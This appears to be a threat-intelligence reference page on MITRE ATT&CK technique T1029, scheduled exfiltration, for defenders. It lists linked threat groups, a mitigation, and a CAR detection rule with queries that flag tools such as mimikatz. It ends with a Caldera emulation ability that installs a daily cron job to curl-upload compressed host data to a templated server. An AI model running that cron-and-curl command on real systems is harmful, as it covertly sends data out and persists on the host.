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ATT&CK Technique

Scheduled Transfer

T1029 · exfiltration

Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel or Exfiltration Over Alternative Protocol.

LinuxmacOSWindows

Actors Using This

14
iranAgrius
north_koreaAndariel
chinaAPT10
chinaAPT1
chinaAPT31
iranAPT33
iranOilRig
iranAPT35
north_koreaAPT37
north_koreaAPT38
iranAPT39
chinaAPT40
russia_apt_sandwormBlackEnergy

Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
reconnaissance earlier
resource-development earlier
persistence earlier

Mitigations

1
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1031Network Intrusion Prevention

Use intrusion detection signatures to block traffic at network boundaries.

Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) none
Analytics (MITRE CAR) 1
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none

CAR Analytics

1
MITRE Cyber Analytics Repository - field-tested detection logic for this technique, written as pseudocode/queries you adapt to your own SIEM (Splunk, Sentinel, EQL). Each is a ready starting point for a detection rule, not just a description.
CAR-2013-04-002Low coverageQuick execution of a series of suspicious commands

Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing.

Commands of interest
  • arp.exe.
  • at.exe.
  • attrib.exe.
  • cscript.exe.
  • dsquery.exe.
  • hostname.exe.
  • ipconfig.exe.
  • mimikatz.exe.
  • nbstat.exe.
  • net.exe.
  • netsh.exe.
  • nslookup.exe.
  • ping.exe.
  • quser.exe.
  • qwinsta.exe.
  • reg.exe.
  • runas.exe.
  • sc.exe.
  • schtasks.exe.
  • ssh.exe.
  • systeminfo.exe.
  • taskkill.exe.
  • telnet.exe.
  • tracert.exe.
  • wscript.exe.
  • xcopy.exe ### Output Description The host on which the commands were executed, the time of execution, and what commands were executed.
pseudocode
processes = search Process:Create
reg_processes = filter processes where (exe == "arp.exe" or exe == "at.exe" or exe == "attrib.exe"
 or exe == "cscript.exe" or exe == "dsquery.exe" or exe == "hostname.exe"
 or exe == "ipconfig.exe" or exe == "mimikatz.exe" or exe == "nbstat.exe"
 or exe == "net.exe" or exe == "netsh.exe" or exe == "nslookup.exe"
 or exe == "ping.exe" or exe == "quser.exe" or exe == "qwinsta.exe"
 or exe == "reg.exe" or exe == "runas.exe" or exe == "sc.exe"
 or exe == "schtasks.exe" or exe == "ssh.exe" or exe == "systeminfo.exe"
 or exe == "taskkill.exe" or exe == "telnet.exe" or exe == "tracert.exe"
 or exe == "wscript.exe" or exe == "xcopy.exe")
reg_grouped = group reg by hostname, ppid where(max time between two events is 30 minutes)
output reg_grouped
DNIF
_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $App=regex(arp\.exe|at\.exe|attrib\.exe|cscript\.exe|dsquery\.exe|hostname\.exe|ipconfig\.exe|mimikatz.exe|nbstat\.exe|net\.exe|netsh\.exe|nslookup\.exe|ping\.exe|quser\.exe|qwinsta\.exe|reg\.exe|runas\.exe|sc\.exe|schtasks\.exe|ssh\.exe|systeminfo\.exe|taskkill\.exe|telnet\.exe|tracert\.exe|wscript\.exe|xcopy\.exe)i group count_unique $App limit 100
>>_agg count
>>_checkif int_compare Count > 1 include
LogPoint
norm_id=WindowsSysmon event_id=1 image IN ["*\arp.exe", "*\at.exe", "*\attrib.exe", "*\cscript.exe", "*\dsquery.exe", "*\hostname.exe", "*\ipconfig.exe", "*\mimikatz.exe", "*\nbstat.exe", "*\net.exe", "*\netsh.exe", "*\nslookup.exe", "*\ping.exe", "*\quser.exe", "*\qwinsta.exe", "*\reg.exe", "*\runas.exe", "*\sc.exe", "*\schtasks.exe", "*\ssh.exe", "*\systeminfo.exe", "*\taskkill.exe", "*\telnet.exe", "*\tracert.exe", "*\wscript.exe", "*\xcopy.exe"]
| chart count() as cnt by host
| search cnt > 1

Caldera Emulation

1
MITRE Caldera abilities that emulate this technique - each is an executable action for automated adversary emulation.
exfiltrationlinux, windowsScheduled Exfiltration
crontab -l > /tmp/origcron;
crontab -l > /tmp/mycron;
echo "0 12 * * * curl -F "data=@#{host.dir.compress}" --header "X-Request-ID: `hostname`-#{paw}" #{server}/file/upload" >> /tmp/mycron;
crontab /tmp/mycron;

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